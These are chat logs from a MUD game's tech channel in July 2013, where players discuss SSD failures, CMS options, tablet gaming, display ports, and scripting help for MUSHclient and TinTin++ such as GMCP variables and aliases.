T3/r7/2013-07-19.txt.gz:{chan ch=tech}Wildkard Tech: they will laugh in your face :)
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: A) BIOS? is that a new sport beverage? B) I shouldn't have to do that. You sold me a piece of crap.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: maybe you shouldn't sell things that you know are defective
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: I didn't sell them, the owner of the company I work for sold them. I just manage the store.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: But I have to take responsibility for all his bone-headed decisions.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Zade Tech: seems that even customers that pay full price at a retail store may end up victims of big manufacturer shoddy practices -- maybe the customer was supposed to buy that expensive extra warranty (which only kicks in after the manufacturer warranty expires)
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you just manage the store, meaning you see customers before they pay money?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Wildkard Tech: that drive does piss me off it wasn't exactly cheap and when i did the research it didn't have many negative reviews
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Fiendish - We sold those drives in a special "holiday" computer. Since then i've seen 11 return. We do not sell them anymore.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm pretty sure they're discontinued, so it'd be hard to keep selling them.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: That's a negative, they're still being sold.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: TigerDirect has them.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Dfury Tech: i'm sensing a breach of warranty lawsuit
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Tech: Dfury rubs his hands together in greedy anticipation.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: No, they will replace them, but they suggest you jump through hoops before they actually do. And they replace it with a refurbished version of the same drive.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://forum.crucial.com/t5/Solid-State-Drives-SSD/V4-Discontinued/td-p/124084
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Ahh.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Good riddance then.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I still love my OCZ Vertex2
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Maybe they'll RMA the rest with M4's, those are much better drives.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Nod, we used to sell OCZ Agility ssd's, those were great drives.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Wildkard Tech: funny i didn't get an OCZ because I heard the sandforce chip was unstable
T3/r7/2013-07-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i've been reading about the typical javascript mistakes. there are many blogs but a few actually had the ones i'have done
T3/r7/2013-07-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: looks like these things have been written by seasoned programmers
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Hanslanda Tech: help typically comes from those types, after all
T3/r7/2013-07-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: like unexpected ) means you might have one too many * hanging out there. or = in comparison is bad, or check if you are adding NaN to your variable. I feel i could do a better list
T3/r7/2013-07-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: then again, people do learn js for a professional purpose and im just a noob. 
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Shue Tech: hi. how do i turn debug off for Bast's plugins?
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Turie Tech: depends on which plugin.
T3/r7/2013-07-19.txt.gz:{chan ch=tech}Shue Tech: hi. how do i stop auto-identify whenever my mouse hovers over inv items for bast's plugin?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tymas Tech: How do you set an alias via command prompt
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tymas Tech: for mush
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Bamboo Tech: #alias {alias} {command}
T3/r7/2013-07-20.txt.gz:{chan ch=tech}PowerSlave Tech: Hey can someone help me out with a few questions about plugins
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: opinions, whats nice (free) CMS these days
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: CMS's are crap, build your site ground-up :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But there's always Drupal, Wordpress, and Joomla (Drupal would be my vote of those 3)
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: well, all those 3 ring a bell
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: did some fast googling, and was wondering about Silverstripe
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: (v3)
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: I went to a buddies the other day and we spent some time turning a junk laptop into a server... It was a lot of fun and a great learning experience.. even though we couldn't think of anything worthwhile to do with it. :)
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So what, you threw a linux distro on it an installed apache? :P:
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: and&
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ranrr Tech: Make sure you select a CMS that is actively developed and supported, and seems stable. Having to switch CMS because it's not actively supported anymore sucks (been there, done that). Those 3 mentioned should fullfill those criteria.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ylar Tech: I turned my 486 into a server...but I had to let it go.  People were complaining about how slow it was, and it kept dropping dishes.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ranrr Tech: Us a raspberry pi instead, should be way quicker than any 486. :D
T3/r7/2013-07-20.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: a raspberry pi would never be able to lift a dish full of food..
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I turned my microwave into a public-facing encrypted server using rasberry pi :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: well, guess i just might give that silverstripe a peek
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Ranrr slaps himself on the head and yells, "DOH!"
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: Something along those lines CheezBuger. But for an only passing computer geek it was a lot of fun. :)
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I can cook my food from my office :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Don't use silverstripe, use something supported ... like the 3 i suggested the first time you asked :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: I was just reading about where homer simpson got his idea for the word "doh!"... kinda interesting.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Dexter shrugs helplessly.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: well, guess thats option
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Dexter Tech: worthwhile though to ask experiences
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Hi, is it possible to share my blackberry internet with my wifi only android tablet?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://crackberry.com/setting-mobile-hotspot-blackberry
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: Thanks Cheezburger, gonna look at it now.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: is a Dual core 350Mhz Gpu good for tablet 3d gaming?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Martini & Tyebald Tech: my gut says a tablet, period, isn't good for 3d gaming.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: hmm but i saw on youtube how the games looks on a 1.5 Ghz dual core, 1gig ddr3 ram  + that 3d card + HD screen. it looks like ps3 and no lag. i was quite surprised
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: on android 4.1 jelly bean with project butter
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: 350Mhz no ways
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: there's phones that are pushing 1.5ghz and that still isn't powerful enough
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: yes ways, openGL support the games looks awesome
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: its a tablet pc for HD gaming, says on the box like thay
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: brand?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Martini & Tyebald Tech: oh, well, if the marketers say its good, it must be.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: look it up on youtube :) prestigio pmp 3970b duo ultra multipad
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ah ok just wanted to hear if some of you was familiar with this, gonna buy it in 3 weeks time :D
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: I wouldn't recommend tablet PCs for gaming, even if they're marked as "gaming" tablet PCs.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: Just get the appropriate console instead? Tablets don't have that great of a game selection anyway.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: i actually want it for view HD content via hdmi cable on tv, but wwhen i saw how the games lookes, i was like yay added bonus
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: just wait a few years... most phones can emulate consoles now... in a few years who knows what technology will be able to do.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: true
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: Unfortunately the emulation, other than for established low-power consoles, is relatively poor...
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: Well okay, not really poor, but tablets need more processing power.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: agreed, even phablets should be more powerful
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: particular version only a few months old , very good/latest hardware
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: I'm saying even the latest doesn't have enough.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: For serious gaming that is...
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: well if you see that tablet on youtube howbit performs with hd gaming, youl change your mind :_
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: Just get a console then?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Vost Tech: Intel's forthcoming Haswell Iris Pro should help with that
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: abit to expensive
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Vost Tech: prices will come down eventually
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: a console?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: yip
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: What, really? Major-brand tablets are like 300 minimum...
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: They're not a good investment too, because they get  boring
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Vost Tech: you can't buy computer tech as an investment
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: Computer tech gets out of date within 4-5 years max.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: Regardless of what you buy.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: id like a tablet more for portability and can surf net with google chrome
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: Ativ tab maybe?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: i didn't see that one yet, but ill look for it
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: it's by Samsung
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: nice, i like samsung 
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: samsung is very reliable too... most of the times
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Noctiluca Tech: I'm more of an Asus tablet person, myself, but Samsung is decent.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: I wonder what a Alienware laptop/tablet would be like
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: do you guys no if its possible to download android app+games onto a sd card via Blackberry, then pop the sd card into android tab and intall the app/games from the inserted card?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: it would be a beast!
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: yes
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: I've done it before works smooth just as long as it's a apk file or if it's a rar file just download zarchiver
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: wow awesome, do i have to install an app onto androind 4.1 operating to install it? or can i do it manualy?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: great I'm glad to hear that
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: i go into filebrowser, them just open apk file?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: yes you might have to do a bit of searching but you will find the apk file
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Chess KING SlyZoR )))) ok thanks for the help, I'm quite exited now
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Fravardin Tech: if you click the file it should give you a choice to use installer
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ok will do
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Fravardin gallantly tips his hat.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Chess KING SlyZoR bows before Fravardin.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: does anyone know perhaps if the ps4 will have a D-Sub? port
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: what is d-sub?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: the cable with the blue plugs you put into your screen and pc
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: dunno why they'd add a vga port...many TVs are starting to not bother including them anymore
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: no reason to bring the 1980s tech into a ps4
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Hollister shrugs helplessly.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: thought it would be cool. cause then you can plug in your screen
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: you can plug in your screen...screens don't bother with those ports anymore...that's what dvi, displayport and hdmi are for
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: crud! I completely forgot about that
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: but how come do graphic cards still come out with d-subs?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: many don't
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ylar Tech: Because monitors keep coming with 'em? And mostly they don't.  They do usually come with at least one dual-link DVI along with an adapter, however.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: true
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: I seriously need a new screen lol, mine still uses d-sub but I got a adapter with my card
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: several mid-range TVs (monitors, too, I guess) still have them for use with multimedia computers.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: must've been a really cheap screen to have that as the only input
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: no, not the only output.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: input...screens don't output
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: I wanna buy a ps4 but my parents won't allow me to use the Tv :( guess I'll need to get a adapter that can turn Av into d-sub
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: even 5 years ago vga + dvi was the norm
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Jaenelle Tech: buy a cheap tv? :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: you must be crazy, If I had to buy a cheap tv here it won't last a week
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: ok, I made up a conlusion, I'll buy the ps4 put it up on display. and dream about owning a Tv
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: if a tv won't last a week, there's really no sense in buying a ps4.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Jaenelle Tech: A PS4 isn't that cheap last I checked. Add a bit to the cost and get a decent tv to go with it?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Jaenelle is agreeing with that Hanslanda person again...
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: there's no place in my room for a Tv lol
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Jaenelle Tech: That's a completely different issue. :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: the ps4 will be in a much better position to get stepped on, kicked, or otherwise have abuse heaped on it.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: unless I throw out my screen
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: See if I was able to get it to run on my screen I can just plug it into that instead of a Tv, unless my grandpa dies very soon and I get his flatscreen. I'm screwed
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: how much cash flow do you have?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: I'm 15 I don't have a cash flow
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: although on decembers I work, and get about R2000 at the end
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Vishos Tech: can i just say i think i'ts awesome that a 15 year old today can still find out about and enjoy playing mud's
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: lol, Thank my dad for that, I was raised playing old games out of the 90's monkey island, old dos games. lol I owned a dos pc at a point
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Vishos Tech: lol that's awesome
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: my dad was also the first of five people in south africa to own speakers
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Endtime Tech: lolwut?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: when it came out ofcourse
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: was he rich, or just impulsive? :P
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: my dad is old man, he was there when Speakers just came out in Sa
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: my mother worked in a company or something that god computer parts imported to South africa and the boss gave it to him as a present
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: got*
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: oh, the way you flipped it out made it seem like he plunked down for 'em.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Endtime Tech: thought you meant speakers generically, as in the device that plugs into your stereo and vibrates to produce the music :) 
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: I'm talking about the speakers that you plug into your pc and makes sounds when media is streamed from your pc.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: my dad was one of the five people in Sa to own one, but obviously when it was placed on the shelfs the week after everyone had it lol, before that everyone still had the annoying beep sound coming from their pc's
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hanslanda Tech: you sure could do a lot with that bell...
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: and then things like loom came out that could play sound through the speaker
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tynrael Tech: even now its nice to hear it beep after post!
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: yeah, we still use it though. the figure out whats wrong with the Pc
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: and the all systems go beep is my favourite xD
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: I played aard on my pc, and I'm on my phone again but there is this strange tags on the side of things like {ch=newbie} and stuff how do I take it away?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Jhav Tech: tags off
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Hollister Tech: oh, uhm that was obvious.  thanks
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: what would be a good way to create a variable that told me whether I was in or out of combat?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: It already exists
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: which one is it? mob_fighting?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: No, hang on finding it
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: $GMCP[CHAR][STATUS][state]
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: If that is 8 you are fighting
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: 8?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: Yes if that variable == 8 then you are in combat
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: Ah I get you! Awesome
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: thank ye kindly good sir, as always I am in your debt.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: when writing a .tin file what is the code so that it doesn't read the line ##?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: I'm not sure what you mean. It doesn't care about line numbers. If you mean to make it not process the line at all, such as a comment, you can use #nop
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Cosrin facepalms! 'Duh!' I feel like a moron... thanks!
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: You can find a lot of goo information here: http://tintin.sourceforge.net/manual/
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: As well as just exploring #help
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: #help nop  (for example)
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: Certainly appreciate your help and patience. I did look this up.. but I didn't put 2 and 2 together with the #nop command. I should have thought of that.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: any charitable soul outhere willing to explain how to look up variables in GMCP?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: my brain can't seem to wrap itself around the concepts I'm reading.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Redryn Tech: did you look at the wiki page explaining it?
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: the arrd wiki... yes... But I can't say I undesrtand.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Redryn Tech: the mud sends data via gmcp whenever something changes
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Redryn Tech: you're using mush i assume
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: I am using tt++
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: but I think the variabls would be the same things kile GMCP[CHAR][STATUS][state]
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ranrr Tech: yup
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: I'm just not sure how I could I'm not sure how to come up with certain variables I'm looking for.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ranrr Tech: try typing #var GMCP
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: some words a recognise.. some I don't...
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ranrr Tech: try looking at some existing code (e.g. the stuff from ixle, finger ixle) to learn how to use it
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Redryn Tech: the wiki page lists the various variables
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: Forgive me for my imputence.. But I know it does.. I'm just not sure how to combine them/pull them up.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ranrr Tech: that's why my top tip is to look at existing code examples
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: Cosrin, type '#var GMCP' that will show you all the variables inside the GMCP array
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: the outputs yes.
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: The words in caps are categories wich contain other data
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: So first you will see 'CHAR', that means there is more data stored in GMCP[CHAR]
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: So if you type #var GMCP[CHAR] you will see just that output
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: You can keep narrowing it down until you find just what you want
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: AH! gottya' awesome once again I am indebted!
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Tech: Cosrin starts singing "Did you ever know tha you're my hero?"
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: Another way is to use #show $GMCP[]
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: That will just show you the next layer without showing everything
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: WOW that is cool!
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: And then #show $GMCP[CHAR][] to see the next layer of categories, etc etc
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: I had just triend that!
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: tried
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Ixle Tech: Eventually you'll get down to just lowercase variables and those are the ones that actually contain just a value to reference instead of another list
T3/r7/2013-07-20.txt.gz:{chan ch=tech}Cosrin Tech: And this is why you are one of my favorite people! Thank you so much! I really appreciate your patience with me in this. You sir are a gentleman and a scholar!
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: anyone have any input on the fine piece of system that the Lenovo y510p is? http://shop.lenovo.com/usstudents/us/en/laptops/ideapad/y-series/y510p/
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: apparently that link does not work. 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: http://shop.lenovo.com/us/en/laptops/ideapad/y-series/y510p/index.html t here we go.
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Shue Tech: hi. when i tried to "look in corpse", it says that the corpse is not a container, but my friend could look in and get a key from the corpse. is this a bug?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Bamboo Tech: <-- the friend
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Shue Tech: nod
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Tigernuts Tech: another item in your inventory with the keyword corpse?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Shue Tech: oh yes! you're right. thanks for clearing that up
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lua, I kinda like you, but your lack of increment operators is making me rage like I just stubbed my toe. Are you a real language or just pretending?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Vonliege Tech: clever
T3/r7/2013-07-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Am I right in thinking I can't just use SetVariable and GetVariable with a boolean in mush?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Batista Tech: doing some SQL with SQLbuddy
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Batista Tech: just curious - might there be some way I could Insert .txt file into some case handily?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Batista Tech: (each line containing different id info)
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: hrm.. im trying to figure out a few plug-in's' but a lot of things go haywired, which i manage to solve mostly but one thing i don't understand is why i keep getting this asci map inside my buffer screen even if i have removed it 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: and the weirder thing is, on most of my char's it's gone entirely from log in, but on this one it keeps coming back and plug in list doesnt even show the plug in anymore
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Nuanse Tech: check with "tags" if MAP is on
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: oh that was easy enough.. 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: thanks 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: to help me understand
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: did the plug-in adding or removing make it a tag thing?
T3/r7/2013-07-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: apparently it just produces an error in Mush when you try to save a boolean, interesting it'll just convert numbers to text... bad argument #2 to 'SetVariable' (string expected, got boolean)
T3/r7/2013-07-21.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Oh well just using an if statement in teh install/save...
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Justasec Tech: hmm
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Lilleana Tech: anyone a mac user? 
T3/r7/2013-07-21.txt.gz:{chan ch=tech}Daloran Tech: I use a mac for work.. whats up?
